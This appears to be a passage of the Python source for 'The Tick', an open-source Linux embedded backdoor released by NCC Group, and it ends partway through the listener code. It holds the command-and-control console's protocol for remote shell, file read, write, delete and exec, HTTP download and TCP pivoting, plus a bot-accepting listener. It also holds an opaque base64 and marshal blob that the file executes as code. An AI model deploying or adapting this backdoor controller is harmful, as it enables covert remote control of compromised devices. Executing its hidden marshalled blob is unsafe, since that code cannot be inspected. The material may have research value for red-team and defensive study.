mirror of
https://github.com/nccgroup/thetick.git
synced 2023-12-14 04:33:00 +01:00
2270 lines
84 KiB
Python
Executable file
2270 lines
84 KiB
Python
Executable file
#!/usr/bin/env python2
|
|
# -*- coding: utf8 -*-
|
|
|
|
"""
|
|
The Tick, a Linux embedded backdoor.
|
|
|
|
Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
|
Developed by Mario Vilas, mario.vilas@nccgroup.com
|
|
http://www.github.com/nccgroup/thetick
|
|
|
|
See the LICENSE file for further details.
|
|
"""
|
|
from __future__ import print_function
|
|
|
|
##############################################################################
|
|
# Imports and other module initialization.
|
|
|
|
# This namespace is pretty cluttered so make sure
|
|
# "from tick import *" doesn't make too much of a mess.
|
|
__all__ = ["Listener", "Console", "BotError"]
|
|
|
|
# Standard imports...
|
|
import sys
|
|
import readline
|
|
import os
|
|
import os.path
|
|
|
|
# More standard imports...
|
|
from socket import *
|
|
from struct import *
|
|
from cmd import Cmd
|
|
from shlex import split
|
|
from threading import Thread, RLock
|
|
from traceback import print_exc
|
|
from uuid import UUID
|
|
from collections import OrderedDict
|
|
from argparse import ArgumentParser
|
|
from time import sleep
|
|
from functools import wraps
|
|
from multiprocessing import Process
|
|
from subprocess import check_output
|
|
|
|
# This is our first dependency and we check it now so
|
|
# we know if we can use colors to show errors later.
|
|
try:
|
|
from colorama import *
|
|
|
|
# Disable colors if requested.
|
|
#
|
|
# Note that we have do do this here rather than
|
|
# when parsing the command line arguments, since
|
|
# several error conditions would happen before that.
|
|
# or even withing argparse itself.
|
|
#
|
|
# Unfortunately this also disables all the other nifty
|
|
# console tricks we can do with ANSI escapes too. :(
|
|
|
|
if "--no-color" in sys.argv:
|
|
ANSI_ENABLED = False
|
|
init(wrap = True, strip = True)
|
|
else:
|
|
ANSI_ENABLED = True
|
|
init()
|
|
|
|
except ImportError:
|
|
print("Missing dependency: colorama")
|
|
print(" pip install colorama")
|
|
exit(1)
|
|
|
|
# Adds support for colors to argparse. Very important, yes!
|
|
try:
|
|
from argparse_color_formatter import ColorHelpFormatter
|
|
except ImportError:
|
|
print("Missing dependency: " + Style.BRIGHT + Fore.RED + "argparse_color_formatter" + Style.RESET_ALL)
|
|
print(Style.BRIGHT + Fore.BLUE + " pip install argparse-color-formatter" + Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# ASCII art tables. Of course we need this, why do you ask?
|
|
try:
|
|
from texttable import Texttable
|
|
except ImportError:
|
|
print("Missing dependency: "+ Style.BRIGHT + Fore.RED + "texttable" + Style.RESET_ALL)
|
|
print(Style.BRIGHT + Fore.BLUE + " pip install texttable" + Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# Yeah it's not pythonic to use asserts like that,
|
|
# but an old dog don't learn new tricks, y'know.
|
|
# And also, to be fair, CPython's idea of "optimization"
|
|
# breaks too many things anyway, so let's prevent that too.
|
|
try:
|
|
assert False
|
|
print("Running with assertions disabled is a " + Style.BRIGHT + Fore.RED + "TERRIBLE IDEA" + Style.RESET_ALL, end=' ')
|
|
if ANSI_ENABLED:
|
|
print(" \xf0\x9f\x98\xa0") # angry face emoji
|
|
else:
|
|
print()
|
|
print("Please don't do that ever again...")
|
|
exit(1)
|
|
except AssertionError:
|
|
pass
|
|
|
|
##############################################################################
|
|
# Some good old blobs. Nothing says "trust this code and run it" like blobs.
|
|
|
|
# Boring banner :(
|
|
BORING_BANNER = """
|
|
ICAbWzMybRtbMW3ilZTilabilZcbWzIybeKUrCDilKzilIzilIDilJAgIBtbMW3ilZTilabilZcb
|
|
WzIybeKUrOKUjOKUgOKUkOKUrOKUjOKUgBtbMG0KICAbWzMybRtbMW0g4pWRIBtbMjJt4pSc4pSA
|
|
4pSk4pSc4pSkICAgG1sxbSDilZEgG1syMm3ilILilIIgIOKUnOKUtOKUkBtbMG0KICAbWzMybRtb
|
|
MW0g4pWpIBtbMjJt4pS0IOKUtOKUlOKUgOKUmCAgG1sxbSDilakgG1syMm3ilLTilJTilIDilJji
|
|
lLQg4pS0G1swbQo=
|
|
""".decode("base64")
|
|
|
|
# Fun banner :)
|
|
FUN_BANNER = """
|
|
ChtbMzFtG1sxbeKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiBtbMjJt4paTIBtbMW3ilojilogbWzIy
|
|
beKWkSAbWzFt4paI4paIG1syMm0g4paTG1sxbeKWiOKWiOKWiOKWiOKWiCAgICDiloTiloTiloTi
|
|
lojilojilojilojilogbWzIybeKWkyAbWzFt4paI4paIG1syMm3ilpMgG1sxbeKWhOKWiOKWiOKW
|
|
iOKWiOKWhCAgIOKWiOKWiCDiloTilojiloAbWzIybQobWzIybeKWkyAgG1sxbeKWiOKWiBtbMjJt
|
|
4paSIOKWk+KWkuKWkxtbMW3ilojilogbWzIybeKWkSAbWzFt4paI4paIG1syMm3ilpLilpMbWzFt
|
|
4paIG1syMm0gICAbWzFt4paAG1syMm0gICAg4paTICAbWzFt4paI4paIG1syMm3ilpIg4paT4paS
|
|
4paTG1sxbeKWiOKWiBtbMjJt4paS4paSG1sxbeKWiOKWiOKWgCDiloDiloggICDilojilojiloTi
|
|
logbWzIybeKWkiAbWzIybQobWzIybeKWkiDilpMbWzFt4paI4paIG1syMm3ilpEg4paS4paR4paS
|
|
G1sxbeKWiOKWiOKWgOKWgOKWiOKWiBtbMjJt4paR4paSG1sxbeKWiOKWiOKWiBtbMjJtICAgICAg
|
|
4paSIOKWkxtbMW3ilojilogbWzIybeKWkSDilpLilpHilpIbWzFt4paI4paIG1syMm3ilpLilpIb
|
|
WzFt4paT4paIICAgIOKWhCDilpPilojilojilojiloQbWzIybeKWkSAbWzIybQobWzIybeKWkSDi
|
|
lpMbWzFt4paI4paIG1syMm3ilpMg4paRIOKWkRtbMW3ilpPilogbWzIybSDilpEbWzFt4paI4paI
|
|
G1syMm0g4paS4paTG1sxbeKWiCAg4paEG1syMm0gICAg4paRIOKWkxtbMW3ilojilogbWzIybeKW
|
|
kyDilpEg4paRG1sxbeKWiOKWiBtbMjJt4paR4paSG1sxbeKWk+KWk+KWhCDiloTilojilojilpLi
|
|
lpMbWzFt4paI4paIIOKWiOKWhCAbWzIybQobWzIybSAg4paS4paIG1sxbeKWiBtbMjJt4paSIOKW
|
|
kSDilpEbWzFt4paT4paI4paSG1syMm3ilpHilogbWzFt4paIG1syMm3ilpPilpHilpIbWzFt4paI
|
|
4paI4paI4paIG1syMm3ilpIgICAgIOKWkuKWiBtbMW3ilogbWzIybeKWkiDilpEg4paRG1sxbeKW
|
|
iOKWiBtbMjJt4paR4paSIBtbMW3ilpPilojilojilojiloAbWzIybSDilpHilpLilogbWzFt4paI
|
|
G1syMm3ilpIgG1sxbeKWiOKWhBtbMjJtChtbMjJtICDilpIg4paR4paRICAgIBtbMW3ilpIbWzIy
|
|
bSDilpHilpEbWzFt4paS4paR4paSG1syMm3ilpHilpEg4paS4paRIOKWkSAgICAg4paSIOKWkeKW
|
|
kSAgIOKWkRtbMW3ilpMbWzIybSAg4paRIOKWkeKWkiDilpIgIOKWkeKWkiDilpLilpIgG1sxbeKW
|
|
kxtbMjJt4paSG1syMm0KG1syMm0gICAg4paRICAgICDilpIg4paR4paS4paRIOKWkSDilpEg4paR
|
|
ICDilpEgICAgICAg4paRICAgICDilpIg4paRICDilpEgIOKWkiAgIOKWkSDilpHilpIg4paS4paR
|
|
G1syMm0KG1syMm0gIOKWkSAgICAgICAbWzJt4paRG1syMm0gIOKWkeKWkSDilpEgICAbWzJt4paR
|
|
G1syMm0gICAgICAgIOKWkSAgICAgICDilpIg4paR4paRICAgICAgICAbWzJt4paRG1syMm0g4paR
|
|
4paRIBtbMm3ilpEbWzIybSAbWzIybQobWzJtICAgICAgICAgIOKWkSAg4paRICDilpEgICDilpEg
|
|
IOKWkSAgICAgICAgICAgICDilpEgIBtbMjJt4paRG1sybSDilpEgICAgICDilpEgIOKWkSAgIBtb
|
|
MjJtChtbMm0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4paRICAgICAg
|
|
ICAgICAgICAgG1syMm0KG1swbQ==
|
|
""".decode("base64")
|
|
|
|
# This is a cute Easter Egg for those of you who read the source code. ;)
|
|
# For the extra paranoid out there: you can just remove this blob, nothing
|
|
# will break. Make sure to wear your favorite tinfoil hat when you do it!
|
|
play = """
|
|
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
|
|
"""
|
|
try:
|
|
import marshal, types, zlib
|
|
play = play.decode("base64")
|
|
play = zlib.decompress(play)
|
|
play = marshal.loads(play) # I know many of you will
|
|
play = types.FunctionType(play, globals(), "play") # go "yikes" now xD
|
|
except Exception:
|
|
del play # no easter egg for you, sorry :(
|
|
print_exc()
|
|
#del play # uncomment to disable
|
|
|
|
##############################################################################
|
|
# Custom TCP protocol definitions and helper functions.
|
|
|
|
# Base command IDs per category.
|
|
BASE_CMD_SYSTEM = 0x0000
|
|
BASE_CMD_FILE = 0x0100
|
|
BASE_CMD_NET = 0x0200
|
|
|
|
# No operation command.
|
|
CMD_NOP = 0xFFFF
|
|
|
|
# System commands.
|
|
CMD_SYSTEM_EXIT = BASE_CMD_SYSTEM + 0
|
|
CMD_SYSTEM_FORK = BASE_CMD_SYSTEM + 1
|
|
CMD_SYSTEM_SHELL = BASE_CMD_SYSTEM + 2
|
|
|
|
# File I/O commands.
|
|
CMD_FILE_READ = BASE_CMD_FILE + 0
|
|
CMD_FILE_WRITE = BASE_CMD_FILE + 1
|
|
CMD_FILE_DELETE = BASE_CMD_FILE + 2
|
|
CMD_FILE_EXEC = BASE_CMD_FILE + 3
|
|
CMD_FILE_CHMOD = BASE_CMD_FILE + 4
|
|
|
|
# Network commands.
|
|
CMD_HTTP_DOWNLOAD = BASE_CMD_NET + 0
|
|
CMD_DNS_RESOLVE = BASE_CMD_NET + 1
|
|
CMD_TCP_PIVOT = BASE_CMD_NET + 2
|
|
|
|
# Response codes.
|
|
CMD_STATUS_OK = 0x00
|
|
CMD_STATUS_ERROR = 0xFF
|
|
|
|
# TCP pivot structure for IPv4.
|
|
# typedef struct // (all values below in network byte order)
|
|
# {
|
|
# uint32_t ip; // IP address to connect to
|
|
# uint16_t port; // TCP port to connect to
|
|
# uint16_t from_port; // Optional TCP port to connect from
|
|
# } CMD_TCP_PIVOT_ARGS;
|
|
def build_pivot_struct(ip, port, from_port = 0):
|
|
return inet_aton(ip) + pack("!HH", port, from_port)
|
|
|
|
# Command header.
|
|
# typedef struct
|
|
# {
|
|
# uint16_t cmd_id; // Command ID, one of the CMD_* constants
|
|
# uint16_t cmd_len; // Small data size, to be read in memory while parsing
|
|
# uint32_t data_len; // Big data size, to be read by command implementations
|
|
# } CMD_HEADER;
|
|
|
|
# Build the command header structure.
|
|
def build_command(cmd_id, cmd = "", data = ""):
|
|
cmd_len = len(cmd)
|
|
try:
|
|
data_len = len(data)
|
|
except TypeError:
|
|
data_len = data
|
|
data = ""
|
|
return pack("!HHL", cmd_id, cmd_len, data_len) + cmd + data
|
|
|
|
# Response header.
|
|
# typedef struct
|
|
# {
|
|
# uint8_t status; // Status code (OK or error)
|
|
# uint32_t data_len; // Big data size
|
|
# } RESP_HEADER;
|
|
|
|
# Get only the response header from the socket.
|
|
# Data following the header must be read separately.
|
|
def get_resp_header(sock):
|
|
status = sock.recv(1)
|
|
data_len = sock.recv(4)
|
|
if status == "" or data_len == "":
|
|
raise BotError("disconnected")
|
|
status, data_len = unpack("!BL", status + data_len)
|
|
if status == CMD_STATUS_ERROR:
|
|
if data_len > 0:
|
|
msg = recvall(sock, data_len)
|
|
if len(msg) != data_len:
|
|
raise BotError("disconnected")
|
|
raise BotError(msg)
|
|
return data_len
|
|
|
|
# Skip bytes coming from the bot we don't actually need to read.
|
|
def skip_bytes(sock, count):
|
|
while count > 0:
|
|
bytes = len(sock.recv(count))
|
|
if bytes == 0:
|
|
raise BotError("disconnected")
|
|
count = count - bytes
|
|
|
|
# Get the response header and ignore the response data.
|
|
# We'll use this for commands that don't require a response;
|
|
# that way even if the bot sends data we don't expect, the
|
|
# protocol won't break. Future compatibility FTW :)
|
|
def get_resp_no_data(sock):
|
|
data_len = get_resp_header(sock)
|
|
skip_bytes(sock, data_len)
|
|
|
|
# Read a fixed size block of data from a socket.
|
|
# Caller must ensure to check for errors.
|
|
def recvall(sock, count):
|
|
buffer = ""
|
|
while len(buffer) < count:
|
|
tmp = sock.recv(min(65536, count - len(buffer)))
|
|
if not tmp:
|
|
break
|
|
buffer = buffer + tmp
|
|
return buffer
|
|
|
|
# Get the response header and the data, all together.
|
|
# We'll use this only for responses we assume have a reasonable
|
|
# amount of response data. TODO: perhaps make sure this is
|
|
# the case somehow - not too worried about this anyway.
|
|
def get_resp_with_data(sock):
|
|
data_len = get_resp_header(sock)
|
|
data = recvall(sock, data_len)
|
|
if len(data) != data_len:
|
|
raise BotError("disconnected")
|
|
return data
|
|
|
|
# Copy a fixed amount of bytes from one file descriptor to another.
|
|
# If the data runs out before the operation is over, we fail silently.
|
|
# TODO: it'd be best to handle this error case too, but we must review
|
|
# how to do it specifically for each case.
|
|
def copy_stream(src, dst, count):
|
|
while count > 0:
|
|
buffer = src.read(min(65536, count))
|
|
if not buffer:
|
|
break
|
|
count = count - len(buffer)
|
|
dst.write(buffer)
|
|
|
|
##############################################################################
|
|
# C&C server over a custom TCP protocol.
|
|
|
|
# This class is exported by the module so we can
|
|
# have C&C servers decoupled from the console UI.
|
|
# Well, in theory. One day. We'll see.
|
|
class Listener(Thread):
|
|
"Listener C&C for The Tick bots."
|
|
|
|
def __init__(self, callback, bind_addr = "0.0.0.0", port = 5555):
|
|
|
|
# True when running, False when shutting down.
|
|
self.alive = False
|
|
|
|
# Callback to be invoked every time a new bot connects.
|
|
# The callback will receive two arguments, the listener
|
|
# itself and the bot that just connected.
|
|
self.callback = callback
|
|
|
|
# Bind address and port.
|
|
self.bind_addr = bind_addr
|
|
self.port = port
|
|
|
|
# Listening socket.
|
|
self.listen_sock = None
|
|
|
|
# Ordered dictionary with the bots that connected.
|
|
# It will become apparent why we're using an ordered dict
|
|
# instead of a regular dict once you read the source code
|
|
# to the Console class.
|
|
self.bots = OrderedDict()
|
|
|
|
# Call the parent class constructor.
|
|
super(Listener, self).__init__()
|
|
|
|
# Set the thread as a daemon so way when the
|
|
# main thread dies, this thread will die too.
|
|
self.daemon = True
|
|
|
|
# Context manager to ensure all the sockets are closed on exit.
|
|
# The bind and listen code is here to make sure its use is mandatory.
|
|
def __enter__(self):
|
|
self.listen_sock = socket()
|
|
self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
|
|
self.listen_sock.bind((self.bind_addr, self.port))
|
|
self.listen_sock.listen(5)
|
|
return self
|
|
|
|
# Context manager to ensure all the sockets are closed on exit,
|
|
# the "running" flag is set to False, and the "bots" dictionary
|
|
# is cleared.
|
|
def __exit__(self, *args):
|
|
self.alive = False
|
|
try:
|
|
self.listen_sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
self.listen_sock.close()
|
|
except Exception:
|
|
pass
|
|
self.listen_sock = None
|
|
for bot in self.bots.values():
|
|
try:
|
|
bot.sock.shutdown(2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
bot.sock.close()
|
|
except Exception:
|
|
pass
|
|
self.bots.clear()
|
|
|
|
# This method is invoked in a background thread.
|
|
# It receives incoming bot connetions and invokes the callback.
|
|
def run(self):
|
|
|
|
# Sanity check.
|
|
assert not self.alive
|
|
|
|
# We are running now! Yay! \o/
|
|
self.alive = True
|
|
|
|
# Use the context manager to ensure all resources are freed.
|
|
with self:
|
|
|
|
# Loop until we are signaled to stop.
|
|
while self.alive:
|
|
try:
|
|
|
|
# Accept an incoming bot connection.
|
|
# This is a blocking call and the background
|
|
